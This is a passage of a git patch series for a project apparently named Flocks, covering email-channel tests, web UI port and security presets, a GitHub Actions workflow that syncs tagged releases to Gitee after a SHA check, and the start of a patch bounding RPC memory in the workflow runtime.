a/tests/channel/test_email.py +++ b/tests/channel/test_email.py @@ -72,6 +72,31 @@ def test_email_channel_meta_and_validate_config() -> None: assert error and "authservId" in error +def test_validate_config_requires_netease_smtp_ssl_port() -> None: + plugin = EmailChannel() + + error = plugin.validate_config({ + "address": "agent@163.com", + "password": "pw", + "imapHost": "imap.163.com", + "smtpHost": "smtp.163.com", + "smtpPort": 587, + "smtpSecurity": "ssl", + "allowAll": True, + }) + + assert error == "NetEase 163/126 SMTP requires smtpPort=465 and smtpSecurity=ssl" + assert plugin.validate_config({ + "address": "agent@163.com", + "password": "pw", + "imapHost": "imap.163.com", + "smtpHost": "smtp.163.com", + "smtpPort": 465, + "smtpSecurity": "ssl", + "allowAll": True, + }) is None + + def test_email_channel_registered_as_builtin() -> None: from flocks.channel.registry import ChannelRegistry @@ -408,6 +433,7 @@ def test_fetch_new_messages_skips_malformed_imap_response(monkeypatch: pytest.Mo ]) fake_imap = MagicMock() + fake_imap.select.return_value = ("OK", [b"2"]) fake_imap.uid.side_effect = lambda command, *args: ( ("OK", [b"1 2"]) if command == "search" else next(fetch_calls) ) @@ -424,6 +450,99 @@ def test_fetch_new_messages_skips_malformed_imap_response(monkeypatch: pytest.Mo assert inbound.sender_id == "user@example.com" +def test_fetch_new_messages_sends_imap_id_before_select(monkeypatch: pytest.MonkeyPatch) -> None: + plugin = EmailChannel() + plugin._resolved = resolved_config({ + "address": "agent@example.com", + "password": "pw", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + }) + + calls: list[str] = [] + + class FakeIMAP: + def login(self, *_args): + calls.append("login") + return "OK", [b"LOGIN completed"] + + def xatom(self, name, *args): + calls.append(f"xatom:{name}") + assert args and '"name" "Flocks"' in args[0] + return "OK", [b"ID completed"] + + def select(self, mailbox): + calls.append(f"select:{mailbox}") + return "OK", [b"0"] + + def uid(self, command, *args): + calls.append(f"uid:{command}") + return "OK", [b""] + + def logout(self): + calls.append("logout") + + monkeypatch.setattr(plugin, "_connect_imap", lambda: FakeIMAP()) + + assert plugin._fetch_new_messages() == [] + assert calls[:4] == ["login", "xatom:ID", "select:INBOX", "uid:search"] + + +def test_fetch_new_messages_reports_select_failure_without_search(monkeypatch: pytest.MonkeyPatch) -> None: + plugin = EmailChannel() + plugin._resolved = resolved_config({ + "address": "agent@example.com", + "password": "pw", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + }) + + fake_imap = MagicMock() + fake_imap.login.return_value = ("OK", [b"LOGIN completed"]) + fake_imap.xatom.return_value = ("OK", [b"ID completed"]) + fake_imap.select.return_value = ( + "NO", + [b"SELECT Unsafe Login. Please contact kefu@188.com for help"], + ) + monkeypatch.setattr(plugin, "_connect_imap", lambda: fake_imap) + + with pytest.raises(RuntimeError, match="Unsafe Login"): + plugin._fetch_new_messages() + + fake_imap.xatom.assert_called_once() + fake_imap.select.assert_called_once_with("INBOX") + fake_imap.uid.assert_not_called() + + +def test_test_connections_labels_smtp_failures(monkeypatch: pytest.MonkeyPatch) -> None: + plugin = EmailChannel() + plugin._resolved = resolved_config({ + "address": "agent@example.com", + "password": "pw", + "imapHost": "imap.example.com", + "smtpHost": "smtp.example.com", + "allowAll": True, + "skipExistingOnStart": False, + }) + + fake_imap = MagicMock() + fake_imap.login.return_value = ("OK", [b"LOGIN completed"]) + fake_imap.xatom.return_value = ("OK", [b"ID completed"]) + fake_imap.select.return_value = ("OK", [b"0"]) + + monkeypatch.setattr(plugin, "_connect_imap", lambda: fake_imap) + monkeypatch.setattr( + plugin, + "_connect_smtp", + lambda: (_ for _ in ()).throw(ConnectionError("Connection unexpectedly closed")), + ) + + with pytest.raises(RuntimeError, match="SMTP connection test failed"): + plugin._test_connections() + + def test_connect_smtp_starttls_fails_when_not_supported(monkeypatch: pytest.MonkeyPatch) -> None: class FakeSMTP: def __init__(self, *args, **kwargs): @@ -554,6 +673,7 @@ def test_fetch_new_messages_marks_seen_for_rejected_sender(monkeypatch: pytest.M }) fake_imap = MagicMock() + fake_imap.select.return_value = ("OK", [b"1"]) monkeypatch.setattr( "flocks.channel.builtin.email.channel.imaplib.IMAP4_SSL", lambda *args, **kwargs: fake_imap, @@ -579,6 +699,7 @@ def test_fetch_new_messages_does_not_mark_seen_when_parse_fails(monkeypatch: pyt }) fake_imap = MagicMock() + fake_imap.select.return_value = ("OK", [b"1"]) fake_imap.uid.side_effect = lambda command, *args: ( ("OK", [b"1"]) if command == "search" else ("OK", [(b"1 (BODY.PEEK[] {123})", b"invalid-bytes")]) ) diff --git a/webui/src/locales/en-US/channel.json b/webui/src/locales/en-US/channel.json index 8e17ae116..63c840695 100644 --- a/webui/src/locales/en-US/channel.json +++ b/webui/src/locales/en-US/channel.json @@ -302,7 +302,7 @@ "imapHostHint": "Inbox server, for example imap.gmail.com or outlook.office365.com.", "imapHostMismatchWarning": "This mailbox usually uses {{expectedHost}} as the IMAP host. Check whether the host address is correct.", "imapPort": "IMAP Port", - "imapPortHint": "Default is 993 for IMAP over SSL.", + "imapPortHint": "Default is 993 for SSL, or 143 for STARTTLS or plaintext.", "imapSecurity": "IMAP Security", "securityHint": "Use TLS whenever possible. Enable insecure mode only when testing and you intentionally accept the risk.", "securitySsl": "SSL (Implicit TLS, recommended)", @@ -314,6 +314,7 @@ "smtpPort": "SMTP Port", "smtpPortHint": "Default is 587 for STARTTLS, or 465 for implicit TLS.", "smtpSecurity": "SMTP Security", + "neteaseSmtpSecurityHint": "NetEase 163 Mail recommends SSL encryption for SMTP.", "allowInsecureConnections": "Allow Insecure Connections", "allowInsecureConnectionsLabel": "I confirm insecure mode is acceptable", "allowInsecureConnectionsHint": "Only enable insecure mode in test environments or when you explicitly accept this risk.", diff --git a/webui/src/locales/zh-CN/channel.json b/webui/src/locales/zh-CN/channel.json index 2de046cd3..ac2fe2c6a 100644 --- a/webui/src/locales/zh-CN/channel.json +++ b/webui/src/locales/zh-CN/channel.json @@ -304,7 +304,7 @@ "imapHostHint": "收件服务器，例如 imap.gmail.com 或 outlook.office365.com。", "imapHostMismatchWarning": "当前邮箱通常使用 {{expectedHost}} 作为 IMAP 主机，请检查主机地址是否填错。", "imapPort": "IMAP 端口", - "imapPortHint": "默认 993，使用 IMAP SSL。", + "imapPortHint": "默认 993 使用 SSL；143 使用 STARTTLS 或明文。", "imapSecurity": "IMAP 安全模式", "securityHint": "IMAP/SMTP 仅支持加密连接；如需明文，请先在下方开启风险确认。", "securitySsl": "SSL（隐式 TLS，推荐）", @@ -316,6 +316,7 @@ "smtpPort": "SMTP 端口", "smtpPortHint": "默认 587 使用 STARTTLS；465 使用隐式 TLS。", "smtpSecurity": "SMTP 安全模式", + "neteaseSmtpSecurityHint": "163 邮箱推荐使用 SSL 加密方式。", "allowInsecureConnections": "允许不安全连接", "allowInsecureConnectionsLabel": "确认允许明文/非 TLS 连接", "allowInsecureConnectionsHint": "仅在测试环境或你已确认风险时开启。开启后可选择 insecure。", diff --git a/webui/src/pages/Channel/index.tsx b/webui/src/pages/Channel/index.tsx index 187531911..776d76d52 100644 --- a/webui/src/pages/Channel/index.tsx +++ b/webui/src/pages/Channel/index.tsx @@ -167,6 +167,21 @@ interface EmailChannelConfig { defaultAgent?: string; } +type EmailSecurityMode = 'ssl' | 'starttls' | 'insecure'; +type EmailProtocol = 'imap' | 'smtp'; + +const EMAIL_DEFAULT_PORTS: Record> = { + imap: { ssl: 993, starttls: 143, insecure: 143 }, + smtp: { ssl: 465, starttls: 587, insecure: 25 }, +}; + +const EMAIL_SECURITY_BY_PORT: Record> = { + imap: { 993: 'ssl', 143: 'starttls' }, + smtp: { 465: 'ssl', 587: 'starttls', 25: 'insecure' }, +}; + +const LAST_SELECTED_CHANNEL_STORAGE_KEY = 'flocks:last-selected-channel'; + const EMAIL_HOST_PRESETS = [ { id: 'gmail', @@ -189,6 +204,8 @@ const EMAIL_HOST_PRESETS = [ domains: ['163.com'], imapHost: 'imap.163.com', smtpHost: 'smtp.163.com', + smtpPort: 465, + smtpSecurity: 'ssl' as EmailSecurityMode, }, { id: 'netease-126', @@ -196,6 +213,8 @@ const EMAIL_HOST_PRESETS = [ domains: ['126.com'], imapHost: 'imap.126.com', smtpHost: 'smtp.126.com', + smtpPort: 465, + smtpSecurity: 'ssl' as EmailSecurityMode, }, { id: 'tencent-exmail', @@ -252,6 +271,31 @@ function getEmailHostPreset(address: string | undefined) { return EMAIL_HOST_PRESETS.find((entry) => entry.domains.includes(domain)); } +function isNeteaseEmailAddress(address: string | undefined): boolean { + const preset = getEmailHostPreset(address); + return preset?.id === 'netease-163' || preset?.id === 'netease-126'; +} + +function readLastSelectedChannelId(): string | null { + try { + return window.localStorage.getItem(LAST_SELECTED_CHANNEL_STORAGE_KEY); + } catch { + return null; + } +} + +function writeLastSelectedChannelId(channelId: string | null) { + try { + if (channelId) { + window.localStorage.setItem(LAST_SELECTED_CHANNEL_STORAGE_KEY, channelId); + } else { + window.localStorage.removeItem(LAST_SELECTED_CHANNEL_STORAGE_KEY); + } + } catch { + // Ignore storage failures so channel settings remain usable. + } +} + function isEmailHostMismatch( address: string | undefined, host: string | undefined, @@ -264,6 +308,37 @@ function isEmailHostMismatch( return normalizedHost !== expectedHost; } +function applyEmailHostPreset( + config: EmailChannelConfig, + address: string | undefined +): EmailChannelConfig { + const preset = getEmailHostPreset(address); + const previousPreset = getEmailHostPreset(config.address); + const next: EmailChannelConfig = { ...config, address }; + if (!preset) return next; + + const shouldReplaceImapHost = + !config.imapHost || + (previousPreset && normalizeEmailHost(config.imapHost) === previousPreset.imapHost); + const shouldReplaceSmtpHost = + !config.smtpHost || + (previousPreset && normalizeEmailHost(config.smtpHost) === previousPreset.smtpHost); + const shouldReplaceSmtpPort = + config.smtpPort == null || + (previousPreset?.smtpPort != null && config.smtpPort === previousPreset.smtpPort) || + (previousPreset?.smtpPort == null && config.smtpPort === 587); + const shouldReplaceSmtpSecurity = + config.smtpSecurity == null || + (previousPreset?.smtpSecurity != null && config.smtpSecurity === previousPreset.smtpSecurity) || + (previousPreset?.smtpSecurity == null && config.smtpSecurity === 'starttls'); + + if (shouldReplaceImapHost) next.imapHost = preset.imapHost; + if (shouldReplaceSmtpHost) next.smtpHost = preset.smtpHost; + if (preset.smtpPort != null && shouldReplaceSmtpPort) next.smtpPort = preset.smtpPort; + if (preset.smtpSecurity && shouldReplaceSmtpSecurity) next.smtpSecurity = preset.smtpSecurity; + return next; +} + interface WeixinChannelConfig { enabled: boolean; token?: string; @@ -665,12 +740,23 @@ function NumberInput({ onChange: (v: number) => void; min?: number; }) { + const handleChange = (raw: string) => { + const digits = raw.replace(/[^\d]/g, ''); + if (!digits) { + onChange(min ?? 0); + return; + } + const next = Number(digits); + onChange(min == null ? next : Math.max(min, next)); + }; + return ( onChange(Number(e.target.value))} + onChange={(e) => handleChange(e.target.value)} className="w-full px-3 py-1.5 text-sm border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-red-500" /> ); @@ -1935,7 +2021,43 @@ function EmailPanel({ config, onChange }: EmailPanelProps) { onChange({ ...config, [key]: value }), [config, onChange] ); + const setAddress = useCallback( + (value: string) => onChange(applyEmailHostPreset(config, value || undefined)), + [config, onChange] + ); + const setSecurity = useCallback( + ( + protocol: EmailProtocol, + security: EmailSecurityMode, + ) => { + const portKey = protocol === 'imap' ? 'imapPort' : 'smtpPort'; + const securityKey = protocol === 'imap' ? 'imapSecurity' : 'smtpSecurity'; + onChange({ + ...config, + [securityKey]: security, + [portKey]: EMAIL_DEFAULT_PORTS[protocol][security], + }); + }, + [config, onChange] + ); + const setPort = useCallback( + ( + protocol: EmailProtocol, + port: number, + ) => { + const portKey = protocol === 'imap' ? 'imapPort' : 'smtpPort'; + const securityKey = protocol === 'imap' ? 'imapSecurity' : 'smtpSecurity'; + const security = EMAIL_SECURITY_BY_PORT[protocol][port]; + onChange({ + ...config, + [portKey]: port, + ...(security ? { [securityKey]: security } : {}), + }); + }, + [config, onChange] + ); const emailHostPreset = getEmailHostPreset(config.address); + const showNeteaseSmtpSecurityHint = isNeteaseEmailAddress(config.address); const showImapHostWarning = isEmailHostMismatch(config.address, config.imapHost, 'imap'); const showSmtpHostWarning = isEmailHostMismatch(config.address, config.smtpHost, 'smtp'); @@ -1945,7 +2067,7 @@ function EmailPanel({ config, onChange }: EmailPanelProps) { set('address', v || undefined)} + onChange={setAddress} placeholder="agent@example.com" /> @@ -1975,7 +2097,7 @@ function EmailPanel({ config, onChange }: EmailPanelProps) { set('smtpSecurity', v as EmailChannelConfig['smtpSecurity'])} + onChange={(v) => setSecurity('smtp', v as EmailSecurityMode)} options={[ { value: 'ssl', label: t('email.securitySsl') }, { value: 'starttls', label: t('email.securityStarttls') }, { value: 'insecure', label: t('email.securityInsecure') }, ]} /> + {showNeteaseSmtpSecurityHint && ( +

+ {t('email.neteaseSmtpSecurityHint')} +

+ )} set('smtpPort', v)} + onChange={(v) => setPort('smtp', v)} min={1} /> @@ -3051,16 +3178,30 @@ export default function ChannelPage() { setChannelConfigs(configs); originalConfigsRef.current = JSON.parse(JSON.stringify(configs)); - // Auto-select first channel - if (channelList.length > 0 && !selectedId) { - setSelectedId(channelList[0].id); - } + setSelectedId((current) => { + const channelIds = new Set(channelList.map((ch) => ch.id)); + if (current && channelIds.has(current)) { + return current; + } + + const stored = readLastSelectedChannelId(); + const nextSelectedId = stored && channelIds.has(stored) + ? stored + : (channelList[0]?.id ?? null); + writeLastSelectedChannelId(nextSelectedId); + return nextSelectedId; + }); } catch (err: any) { toast.error(t('loadFailed'), err.message); } finally { setLoading(false); } - }, [selectedId, toast, t]); + }, [toast, t]); + + const handleSelectChannel = useCallback((channelId: string) => { + setSelectedId(channelId); + writeLastSelectedChannelId(channelId); + }, []); const fetchStatuses = useCallback(async (silent = false) => { try { @@ -3345,7 +3486,7 @@ export default function ChannelPage() { config={channelConfigs[ch.id] ?? { enabled: false }} status={statuses[ch.id]} isSelected={selectedId === ch.id} - onClick={() => setSelectedId(ch.id)} + onClick={() => handleSelectChannel(ch.id)} /> ))} From c1cd2604cf14f86ad28408c16915a7f954c66f87 Mon Sep 17 00:00:00 2001 From: stephamie7 <1223696150@qq.com> Date: Fri, 7 Aug 2026 13:58:35 +0800 Subject: [PATCH 23/67] fix(release): gate Gitee release on matching tag SHA --- .github/workflows/sync-gitee.yml | 239 +++++++++++++++++++++++++++++-- 1 file changed, 230 insertions(+), 9 deletions(-) diff --git a/.github/workflows/sync-gitee.yml b/.github/workflows/sync-gitee.yml index ff24cefc6..cf87ad393 100644 --- a/.github/workflows/sync-gitee.yml +++ b/.github/workflows/sync-gitee.yml @@ -4,17 +4,238 @@ on: release: types: [published] +permissions: + contents: read + +concurrency: + group: sync-gitee-release-${{ github.event.release.tag_name }} + cancel-in-progress: false + +env: + GITEE_OWNER: flocks + GITEE_REPO: flocks + GITEE_GIT_URL: https://gitee.com/flocks/flocks.git + GITEE_API_BASE_URL: https://gitee.com/api/v5 + jobs: sync: runs-on: ubuntu-latest steps: - - name: Sync GitHub Release to Gitee - uses: trustedinster/sync-release-gitee@v1.3 + - name: Check out the published GitHub tag + uses: actions/checkout@v6 with: - gitee_owner: flocks - gitee_repo: flocks - gitee_token: ${{ secrets.GITEE_TOKEN }} - github_owner: AgentFlocks - github_repo: flocks - gitee_upload_retry_times: 3 - debug: false \ No newline at end of file + ref: ${{ github.event.release.tag_name }} + fetch-depth: 0 + + - name: Resolve the exact GitHub tag commit + id: source + env: + TAG_NAME: ${{ github.event.release.tag_name }} + run: | + set -euo pipefail + + if [[ -z "${TAG_NAME}" ]]; then + echo "::error title=Missing release tag::The release event does not contain a tag name." + exit 1 + fi + + git show-ref --verify --quiet "refs/tags/${TAG_NAME}" || { + echo "::error title=GitHub tag not found::refs/tags/${TAG_NAME} is missing after checkout." + exit 1 + } + + github_tag_sha="$(git rev-parse "${TAG_NAME}^{commit}")" + echo "tag_name=${TAG_NAME}" >> "${GITHUB_OUTPUT}" + echo "github_tag_sha=${github_tag_sha}" >> "${GITHUB_OUTPUT}" + echo "Resolved GitHub ${TAG_NAME} to ${github_tag_sha}." + + - name: Sync the exact GitHub tag to Gitee + env: + GITEE_TOKEN: ${{ secrets.GITEE_TOKEN }} + TAG_NAME: ${{ steps.source.outputs.tag_name }} + EXPECTED_SHA: ${{ steps.source.outputs.github_tag_sha }} + run: | + set -euo pipefail + + if [[ -z "${GITEE_TOKEN}" ]]; then + echo "::error title=Missing Gitee token::Repository secret GITEE_TOKEN is not configured." + exit 1 + fi + + remote_ref="refs/tags/${TAG_NAME}" + gitee_tag_sha="$( + git ls-remote --tags "${GITEE_GIT_URL}" "${remote_ref}" "${remote_ref}^{}" | + awk -v direct="${remote_ref}" -v peeled="${remote_ref}^{}" ' + $2 == direct { direct_sha = $1 } + $2 == peeled { peeled_sha = $1 } + END { + if (peeled_sha != "") { + print peeled_sha + } else { + print direct_sha + } + } + ' + )" + + if [[ -n "${gitee_tag_sha}" && "${gitee_tag_sha}" != "${EXPECTED_SHA}" ]]; then + echo "::error title=Gitee tag conflict::${TAG_NAME} points to ${gitee_tag_sha}, expected ${EXPECTED_SHA}. The workflow will not move an existing release tag." + exit 1 + fi + + if [[ "${gitee_tag_sha}" == "${EXPECTED_SHA}" ]]; then + echo "Gitee ${TAG_NAME} already points to ${EXPECTED_SHA}; no push is needed." + exit 0 + fi + + gitee_user="$( + curl --fail-with-body --silent --show-error --retry 3 \ + --get \ + --data-urlencode "access_token=${GITEE_TOKEN}" \ + "${GITEE_API_BASE_URL}/user" | + jq -er '.login' + )" + + askpass_script="${RUNNER_TEMP}/gitee-askpass-${GITHUB_RUN_ID}.sh" + trap 'rm -f "${askpass_script}"' EXIT + { + echo '#!/bin/sh' + echo 'case "$1" in' + echo ' *Username*) printf "%s\n" "$GITEE_USERNAME" ;;' + echo ' *Password*) printf "%s\n" "$GITEE_TOKEN" ;;' + echo 'esac' + } > "${askpass_script}" + chmod 700 "${askpass_script}" + + export GIT_ASKPASS="${askpass_script}" + export GIT_TERMINAL_PROMPT=0 + export GITEE_USERNAME="${gitee_user}" + + git push "${GITEE_GIT_URL}" "${remote_ref}:${remote_ref}" + echo "Pushed ${TAG_NAME} to Gitee from the exact GitHub tag object." + + - name: Gate Gitee Release creation on matching tag SHA + env: + TAG_NAME: ${{ steps.source.outputs.tag_name }} + EXPECTED_SHA: ${{ steps.source.outputs.github_tag_sha }} + run: | + set -euo pipefail + + remote_ref="refs/tags/${TAG_NAME}" + gitee_tag_sha="" + + for attempt in {1..12}; do + gitee_tag_sha="$( + git ls-remote --tags "${GITEE_GIT_URL}" "${remote_ref}" "${remote_ref}^{}" | + awk -v direct="${remote_ref}" -v peeled="${remote_ref}^{}" ' + $2 == direct { direct_sha = $1 } + $2 == peeled { peeled_sha = $1 } + END { + if (peeled_sha != "") { + print peeled_sha + } else { + print direct_sha + } + } + ' + )" + + if [[ "${gitee_tag_sha}" == "${EXPECTED_SHA}" ]]; then + echo "SHA gate passed: GitHub and Gitee ${TAG_NAME} both point to ${EXPECTED_SHA}." + break + fi + + if [[ -n "${gitee_tag_sha}" ]]; then + echo "::error title=Gitee SHA gate failed::${TAG_NAME} points to ${gitee_tag_sha}, expected ${EXPECTED_SHA}." + exit 1 + fi + + echo "Gitee ${TAG_NAME} is not visible yet (attempt ${attempt}/12); retrying." + sleep 5 + done + + if [[ "${gitee_tag_sha}" != "${EXPECTED_SHA}" ]]; then + echo "::error title=Gitee SHA gate timed out::${TAG_NAME} did not become visible at ${EXPECTED_SHA}." + exit 1 + fi + + - name: Create or update only the current Gitee Release + env: + GITEE_TOKEN: ${{ secrets.GITEE_TOKEN }} + TAG_NAME: ${{ steps.source.outputs.tag_name }} + VERIFIED_SHA: ${{ steps.source.outputs.github_tag_sha }} + run: | + set -euo pipefail + + release_name="$(jq -r '.release.name // empty' "${GITHUB_EVENT_PATH}")" + release_body="$(jq -r '.release.body // empty' "${GITHUB_EVENT_PATH}")" + prerelease="$(jq -r '.release.prerelease // false' "${GITHUB_EVENT_PATH}")" + [[ -n "${release_name}" ]] || release_name="${TAG_NAME}" + [[ -n "${release_body}" ]] || release_body="-" + + encoded_tag="$(jq -rn --arg value "${TAG_NAME}" '$value | @uri')" + release_lookup="${RUNNER_TEMP}/gitee-release-lookup.json" + release_response="${RUNNER_TEMP}/gitee-release-response.json" + lookup_status="$( + curl --silent --show-error --retry 3 \ + --output "${release_lookup}" \ + --write-out '%{http_code}' \ + --get \ + --data-urlencode "access_token=${GITEE_TOKEN}" \ + "${GITEE_API_BASE_URL}/repos/${GITEE_OWNER}/${GITEE_REPO}/releases/tags/${encoded_tag}" + )" + + common_fields=( + --data-urlencode "access_token=${GITEE_TOKEN}" + --data-urlencode "tag_name=${TAG_NAME}" + --data-urlencode "name=${release_name}" + --data-urlencode "body=${release_body}" + --data-urlencode "prerelease=${prerelease}" + ) + + if [[ "${lookup_status}" == "200" ]]; then + release_id="$(jq -er '.id' "${release_lookup}")" + sync_method="PATCH" + sync_url="${GITEE_API_BASE_URL}/repos/${GITEE_OWNER}/${GITEE_REPO}/releases/${release_id}" + echo "Gitee Release ${TAG_NAME} already exists; updating its metadata only." + elif [[ "${lookup_status}" == "404" ]]; then + sync_method="POST" + sync_url="${GITEE_API_BASE_URL}/repos/${GITEE_OWNER}/${GITEE_REPO}/releases" + common_fields+=(--data-urlencode "target_commitish=${VERIFIED_SHA}") + echo "Creating Gitee Release ${TAG_NAME} at verified commit ${VERIFIED_SHA}." + else + message="$(jq -r '.message // "unknown Gitee API error"' "${release_lookup}" 2>/dev/null || true)" + echo "::error title=Gitee Release lookup failed::HTTP ${lookup_status}: ${message}" + exit 1 + fi + + sync_status="$( + curl --silent --show-error --retry 3 \ + --output "${release_response}" \ + --write-out '%{http_code}' \ + --request "${sync_method}" \ + "${common_fields[@]}" \ + "${sync_url}" + )" + + if [[ ! "${sync_status}" =~ ^2[0-9][0-9]$ ]]; then + message="$(jq -r '.message // "unknown Gitee API error"' "${release_response}" 2>/dev/null || true)" + echo "::error title=Gitee Release sync failed::HTTP ${sync_status}: ${message}" + exit 1 + fi + + synced_tag="$(jq -er '.tag_name' "${release_response}")" + synced_release_id="$(jq -er '.id' "${release_response}")" + if [[ "${synced_tag}" != "${TAG_NAME}" ]]; then + echo "::error title=Unexpected Gitee Release tag::Gitee returned ${synced_tag}, expected ${TAG_NAME}." + exit 1 + fi + + { + echo "### Gitee Release sync" + echo + echo "- Tag: \`${TAG_NAME}\`" + echo "- Verified commit: \`${VERIFIED_SHA}\`" + echo "- Gitee Release ID: \`${synced_release_id}\`" + echo "- Result: tag SHA gate passed before Release ${sync_method}" + } >> "${GITHUB_STEP_SUMMARY}" From b5f96c38177ff732b09ecb4250b0ac7e64332f68 Mon Sep 17 00:00:00 2001 From: duguwanglong Date: Fri, 7 Aug 2026 14:33:41 +0800 Subject: [PATCH 24/67] fix(workflow): prevent isolated RPC memory growth Bound host-process RPC buffering while preserving the 32-worker default, and make frame limits configurable. Cancel pending bridge work on child exit, scope tool cancellation safely, enforce UTF-8 IPC, and collect generation-zero GC at low-frequency workflow boundaries. --- flocks/workflow/engine.py | 6 + flocks/workflow/repl_runtime.py | 227 ++++++++++++-- flocks/workflow/runner.py | 12 + flocks/workflow/tools_adapter.py | 9 + .../sandbox/test_workflow_sandbox_runtime.py | 37 +-- .../workflow/test_workflow_execution_plan.py | 35 +++ tests/workflow/test_workflow_history_mode.py | 54 ++++ tests/workflow/test_workflow_node_timeout.py | 295 +++++++++++++++++- 8 files changed, 623 insertions(+), 52 deletions(-) diff --git a/flocks/workflow/engine.py b/flocks/workflow/engine.py index dfcfba12c..4dbdf0b5d 100644 --- a/flocks/workflow/engine.py +++ b/flocks/workflow/engine.py @@ -195,6 +195,8 @@ def _get_isolated_runtime(self) -> "Runtime": cancel_checker=self.runtime.cancel_checker, cleanup_globals_after_execute=self.runtime.cleanup_globals_after_execute, enable_cancel_trace=self.runtime.enable_cancel_trace, + isolated_rpc_max_bytes=self.runtime.isolated_rpc_max_bytes, + isolated_rpc_max_workers=self.runtime.isolated_rpc_max_workers, ) return self.runtime @@ -854,6 +856,8 @@ def _execute_node( cancel_checker=_rt.cancel_checker, inherited_fd_keys=tuple(node.process_inherit_fd_keys), retained_fd_keys=tuple(node.process_retain_fd_keys), + rpc_max_bytes=_rt.isolated_rpc_max_bytes, + rpc_max_workers=_rt.isolated_rpc_max_workers, ) return _rt.execute(node.code, inputs) if node.type == "logic": @@ -875,6 +879,8 @@ def _execute_node( cancel_checker=_rt.cancel_checker, inherited_fd_keys=tuple(node.process_inherit_fd_keys), retained_fd_keys=tuple(node.process_retain_fd_keys), + rpc_max_bytes=_rt.isolated_rpc_max_bytes, + rpc_max_workers=_rt.isolated_rpc_max_workers, ) return _rt.execute(code, inputs) if node.type in {"branch", "loop"}: diff --git a/flocks/workflow/repl_runtime.py b/flocks/workflow/repl_runtime.py index 86ede68d8..317777ecb 100644 --- a/flocks/workflow/repl_runtime.py +++ b/flocks/workflow/repl_runtime.py @@ -34,7 +34,10 @@ def reset(self) -> None: _RPC_MAX_BYTES = 4 * 1024 * 1024 +_HOST_PROCESS_RPC_MAX_BYTES = 64 * 1024 * 1024 +_HOST_PROCESS_RPC_MAX_WORKERS = 32 _WORKFLOW_SITE_PACKAGES = "/workspace/.flocks/workflow/site-packages" +_TOOL_CANCEL_CHECKER_INSTALL_LOCK = threading.Lock() def _drain_text_stream(stream: TextIO, chunks: list[str]) -> None: @@ -48,6 +51,45 @@ def _drain_text_stream(stream: TextIO, chunks: list[str]) -> None: return +class _ThreadScopedCancelChecker: + def __init__(self, fallback: Optional[Callable[[], bool]]): + self._fallback = fallback + self._local = threading.local() + + def __call__(self) -> bool: + stack = getattr(self._local, "stack", None) + checker = stack[-1] if stack else self._fallback + return bool(checker and checker()) + + @contextlib.contextmanager + def scope(self, checker: Optional[Callable[[], bool]]): + stack = getattr(self._local, "stack", None) + if stack is None: + stack = [] + self._local.stack = stack + stack.append(checker) + try: + yield + finally: + stack.pop() + if not stack: + del self._local.stack + + +def _legacy_registry_cancel_scope(registry: Any, checker: Optional[Callable[[], bool]]): + if not hasattr(registry, "cancel_checker"): + return contextlib.nullcontext() + try: + with _TOOL_CANCEL_CHECKER_INSTALL_LOCK: + scoped_checker = getattr(registry, "cancel_checker", None) + if not isinstance(scoped_checker, _ThreadScopedCancelChecker): + scoped_checker = _ThreadScopedCancelChecker(scoped_checker) + registry.cancel_checker = scoped_checker + return scoped_checker.scope(checker) + except Exception: + return contextlib.nullcontext() + + @dataclass class PythonExecRuntime(Runtime): """Trusted host-process runtime. @@ -61,6 +103,8 @@ class PythonExecRuntime(Runtime): cancel_checker: Optional[Callable[[], bool]] = None cleanup_globals_after_execute: bool = False enable_cancel_trace: bool = True + isolated_rpc_max_bytes: Optional[int] = _HOST_PROCESS_RPC_MAX_BYTES + isolated_rpc_max_workers: int = _HOST_PROCESS_RPC_MAX_WORKERS _RUNTIME_GLOBAL_KEYS: ClassVar[frozenset[str]] = frozenset( { @@ -285,6 +329,7 @@ def execute(self, code: str, inputs: Dict[str, Any]) -> Tuple[Dict[str, Any], st stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, + encoding="utf-8", bufsize=1, env={**os.environ, "LC_ALL": "C.UTF-8", "LANG": "C.UTF-8"}, ) @@ -398,16 +443,38 @@ def _build_python_source( import threading import traceback +for _stream in (sys.stdin, sys.stdout, sys.stderr): + try: + _stream.reconfigure(encoding="utf-8") + except (AttributeError, OSError): + pass + outputs = {{}} _MAX = {rpc_max_bytes!r} _TOKEN = {json.dumps(bridge_token, ensure_ascii=False)} +_stdin_pending = bytearray() def _read_json_line(): - line = sys.stdin.readline() - if not line: - raise RuntimeError("Bridge channel closed") - if _MAX is not None and len(line) > _MAX: - raise RuntimeError("Bridge payload too large") + if _MAX is None: + line = sys.stdin.readline() + if not line: + raise RuntimeError("Bridge channel closed") + else: + while True: + newline = _stdin_pending.find(b"\\n") + if newline >= 0: + if newline + 1 > _MAX: + raise RuntimeError("Bridge payload too large") + raw_line = bytes(_stdin_pending[: newline + 1]) + del _stdin_pending[: newline + 1] + break + if len(_stdin_pending) > _MAX: + raise RuntimeError("Bridge payload too large") + chunk = os.read(sys.stdin.fileno(), 65536) + if not chunk: + raise RuntimeError("Bridge channel closed") + _stdin_pending.extend(chunk) + line = raw_line.decode("utf-8") obj = json.loads(line) if not isinstance(obj, dict): raise RuntimeError("Bridge payload must be an object") @@ -415,10 +482,12 @@ def _read_json_line(): def _fail_rpc_waiters(message): with _rpc_waiters_lock: - waiters = list(_rpc_waiters.values()) - for waiter in waiters: + waiters = list(_rpc_waiters.items()) + for req_id, waiter in waiters: waiter["response"] = {{ "type": "rpc_result", + "token": _TOKEN, + "id": req_id, "ok": False, "error": message, }} @@ -630,7 +699,13 @@ def _parse_json_line(self, raw_line: str) -> Optional[Dict[str, Any]]: return None return obj if isinstance(obj, dict) else None - def _handle_rpc_request(self, *, msg: Dict[str, Any], token: str) -> Dict[str, Any]: + def _handle_rpc_request( + self, + *, + msg: Dict[str, Any], + token: str, + cancel_checker: Optional[Callable[[], bool]] = None, + ) -> Dict[str, Any]: req_id = str(msg.get("id") or "") if msg.get("token") != token: return {"type": "rpc_result", "token": token, "id": req_id, "ok": False, "error": "Invalid bridge token"} @@ -639,9 +714,10 @@ def _handle_rpc_request(self, *, msg: Dict[str, Any], token: str) -> Dict[str, A return {"type": "rpc_result", "token": token, "id": req_id, "ok": False, "error": "Invalid RPC payload"} kind = str(rpc.get("kind") or "").strip().lower() + effective_cancel_checker = self.cancel_checker if cancel_checker is None else cancel_checker try: if kind == "cancelled": - output = 